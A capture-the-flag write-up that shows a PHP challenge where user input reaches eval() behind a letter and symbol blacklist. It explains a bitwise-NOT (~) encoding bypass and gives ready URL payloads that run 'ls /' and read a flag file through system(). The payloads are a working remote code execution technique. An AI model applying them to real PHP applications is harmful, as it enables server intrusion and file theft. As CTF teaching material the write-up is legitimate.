当前位置:网站首页>ctf (hardrce)
ctf (hardrce)
2022-07-27 10:26:00 【Glacier_ Mount】
Knowledge point
Reverse filtration : Reverse filtering is to reverse the command first , And then it's done url Finally, the code is inverted again when uploading .
Reverse filtering can bypass preg_match() All characters and numbers filtered .
Reverse script
<?php
echo urlencode(~' Reverse content ');
?>
Get the negative result in url Input
(~ Reverse the result 1)(~ Reverse the result 2);
Example
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT Say you can't use these strange symbols !");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul Say you can't use letters !");
}
echo "NoVic4 say : Good boy , But you can get flag Do you ?";
eval($wllm);
}
else
{
echo " Cai Zong said : Pay attention to the examination !!!";
}
?> Cai Zong said : Pay attention to the examination !!!In this code, regular filters all letters and some symbols , but ‘~’ Unfiltered . We can use the method of anti filtering to view the file . First we need to use commands system(ls /) View directory
We are right. system and (ls /) Don't take the opposite as %8C%86%8C%8B%9A%92 and %D7%93%8C%DF%D0%D6
payload: ?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%93%8C%DF%D0%D6);

Reuse command system(cat / flllllaaaaaaggggggg) see flllllaaaaaaggggggg The contents of the catalogue
The reverse operation is the same as
payload:?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98%D6);

边栏推荐
- Echats关系图les-miserables的图表详细解析(和弦图)
- Shell变量、系统预定义变量$HOME、$PWD、$SHELL、$USER、自定义变量、特殊变量$n、$#、$*、[email protected]、$?、env看所有的全局变量值、set看所有变量
- 北京公示儿童鞋抽查 8组批产品不合格琪尔特登榜
- Girl fan wants to find a boyfriend, but it's for
- FTP 服务器
- 【英雄哥六月集训】第 28天: 动态规划
- wind10配置adb命令
- Understanding and code implementation of Se (sequence and exception) module
- 文件上传漏洞绕过方法
- 01_ Movie recommendation (contentbased)_ Object portrait
猜你喜欢

Sub query of database performance series

RobotFramework+Eclispe环境安装篇

Oracle调整数据文件大小杂谈

卸载CUDA11.1
![Shell function, system function, basename [string / pathname] [suffix] can be understood as taking the file name in the path, dirname file absolute path, and user-defined function](/img/3d/d7276d2010f1d77a3bd572cc66eced.png)
Shell function, system function, basename [string / pathname] [suffix] can be understood as taking the file name in the path, dirname file absolute path, and user-defined function

warning: remote HEAD refers to nonexistent ref, unable to checkout报错信息

怎样关闭电脑开机自启动的应用
![Shell运算符、$((运算式))” 或 “$[运算式]、expr方法、条件判断、test condition、[ condition ]、两个整数之间比较、按照文件权限进行判断、按照文件类型进行判断](/img/65/a735ca2c2902e3fc773dda79438972.png)
Shell运算符、$((运算式))” 或 “$[运算式]、expr方法、条件判断、test condition、[ condition ]、两个整数之间比较、按照文件权限进行判断、按照文件类型进行判断

Metaaploit-后渗透技知识

分享机器学习笔记(PDF版)+实战项目(数据集+代码)
随机推荐
Local connection to remote server database under Windows platform (I)
Matlab-基于短时神经网络的声音分类
Anaconda installation (very detailed)
Matlab- draw superimposed ladder diagram and line diagram
Preparation for Android interview (including the whole process of interview, interview preparation, interview questions and materials, etc.)
Color segmentation using kmeans clustering
pytorch中对BatchNorm2d()函数的理解
使用 Kmeans聚类实现颜色的分割
pytorch的安装(非常详细)
Stylegan paper notes + modify code to try 3D point cloud generation
文件上传漏洞相关
【Liunx】安装Redis
语音数据采集-实时语音数据可视化
window平台下本地连接远程服务器数据库(一)
Uninstall cuda11.1
Decision tree principle and case application - Titanic survival prediction
warning package.json: No license field报错
Eslint的报错信息Module Error (from ./node_modules/[email protected]@eslint-loader/index.js)解决方法
[brother hero June training] day 25: tree array
es6的foreach与some的循环遍历